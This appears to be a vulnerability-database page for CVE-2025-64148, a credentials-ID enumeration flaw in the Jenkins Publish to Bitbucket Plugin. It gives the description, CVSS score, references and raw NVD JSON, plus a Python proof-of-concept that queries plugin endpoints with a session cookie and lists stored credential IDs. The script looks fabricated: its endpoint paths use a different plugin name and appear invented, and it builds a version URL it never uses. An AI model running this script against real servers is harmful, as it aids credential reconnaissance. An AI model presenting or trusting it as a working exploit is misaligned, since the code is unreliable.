CVE-2025-64148

Description

A missing permission check in Jenkins Publish to Bitbucket Plugin 0.4 and earlier allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:jenkins:publish_to_bitbucket:*:*:*:*:*:jenkins:*:* - VULNERABLE

Jenkins Publish to Bitbucket Plugin <= 0.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-64148 PoC - Jenkins Publish to Bitbucket Plugin Credentials ID Enumeration
# Requires Overall/Read permission

import requests
import json

JENKINS_URL = "http://target-jenkins-server:8080"
SESSION_COOKIE = "JSESSIONID=your_session_here"  # Authenticated session cookie

def enumerate_credentials():
    headers = {
        "Cookie": SESSION_COOKIE,
        "Content-Type": "application/json"
    }
    
    # Check plugin version
    version_url = f"{JENKINS_URL}/plugin/publish-over-bitbucket/jenkinsApiv4/pluginInfo"
    
    # Enumerate credentials IDs via plugin endpoint
    cred_enum_url = f"{JENKINS_URL}/plugin/publish-over-bitbucket/credentials/store/plugin/provider/jenkins/credentials"
    
    try:
        response = requests.get(cred_enum_url, headers=headers, timeout=10)
        if response.status_code == 200:
            creds = response.json()
            print(f"[+] Found {len(creds)} credentials:")
            for cred in creds:
                print(f"  - ID: {cred.get('id', 'N/A')}, Type: {cred.get('typeName', 'N/A')}")
        else:
            print(f"[-] Request failed with status: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    enumerate_credentials()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64148
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64148
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64148/
[4] VulDB https://vuldb.com/cve/CVE-2025-64148
[5] https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3570
[6] http://www.openwall.com/lists/oss-security/2025/10/29/2

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64148", "sourceIdentifier": "[email protected]", "published": "2025-10-29T14:15:59.650", "lastModified": "2025-11-04T22:16:41.740", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A missing permission check in Jenkins Publish to Bitbucket Plugin 0.4 and earlier allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jenkins:publish_to_bitbucket:*:*:*:*:*:jenkins:*:*", "versionEndIncluding": "0.4", "matchCriteriaId": "AFB047CD-0168-404D-9C45-E750E3F85763"}]}]}], "references": [{"url": "https://www.jenkins.io/security/advisory/2025-10-29/#SECURITY-3570", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2025/10/29/2", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}